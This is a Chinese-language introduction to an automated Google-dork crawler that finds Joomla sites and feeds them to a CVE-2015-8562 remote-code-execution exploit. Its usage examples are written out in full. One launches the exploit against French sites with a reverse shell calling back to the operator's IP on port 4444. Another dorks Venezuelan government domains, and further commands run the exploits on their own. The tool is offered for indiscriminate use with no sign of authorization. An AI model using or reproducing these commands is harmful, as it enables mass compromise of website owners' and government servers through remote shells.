这是一款基于谷歌搜索引擎的自动化爬虫。
爬虫介绍
爬虫大体机制就是:
先进行一次谷歌搜索,将结果解析为特定格式,然后再提供给exp使用。
大家可以尝试使用–help来列出所有参数。
这个项目笔者会持续更新,以后再添加新的exp进行升级。此外,它会利用google_parsers模块去构建exp解析搜索结果,所以当你开始搜索时,可以选择“–exploit parser”参数来指定相应exp。
google parsers模块(google_parsers.py)以后还会继续优化,而现在的exp只含有joomla cve,毕竟这个项目主要是给大家自己diy使用的。但是,如果你不会弄exp,把利用exp提交给过来也行。
由于笔者平时还是比较忙,所以没有太多时间去手动搜索目标。故而,笔者尝试使用Selenium框架去造了个爬虫来搜寻测试目标。至于搜索过程中出现的Google的验证码,它需要其他库和模块来辅助解决。在项目里使用Selenium后,大家就可以在谷歌出现验证码的是时候,自行手动输入验证码,然后爬虫就可以继续爬行了。这大概是笔者能想出的最好的解决验证码防护的办法了。
简单概述下爬虫是如何工作的:
1. 执行谷歌搜索
2. 从每一页解析结果
3. 测试是否结果中含有漏洞
依赖与需求
这个项目需要python3,使用requirements安装依赖库的方法如下:
$ sudo pip install -r requirements.txt
运行示例:
python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="Fran?a" --last_update="no último mês"
在上面的例子里,笔者是在寻找法国的joomla RCE目标,使用的是google_domains.txt里面的google域名(比如google.co.uk)来作为搜索引擎,“–last_update”则代表着搜索结果的更新时间为上个月。
上面例子里的选项适用于任何语言,主要决定于google针对相应的国家给出的语法。
下面再给出一个简单的例子:
python3 google_explorer.py --browser=‘chrome‘ --dork=‘site:gob.ve inurl:index.php‘ --location="Venezuela"
当然,这些exp也是可以单独使用的:
$ cd xpl_parsers
$ python joomla_cve_2015_8562.py
单独测试exp的方法:
$ cd exploits
$ python exploiter.py --file <vuln file>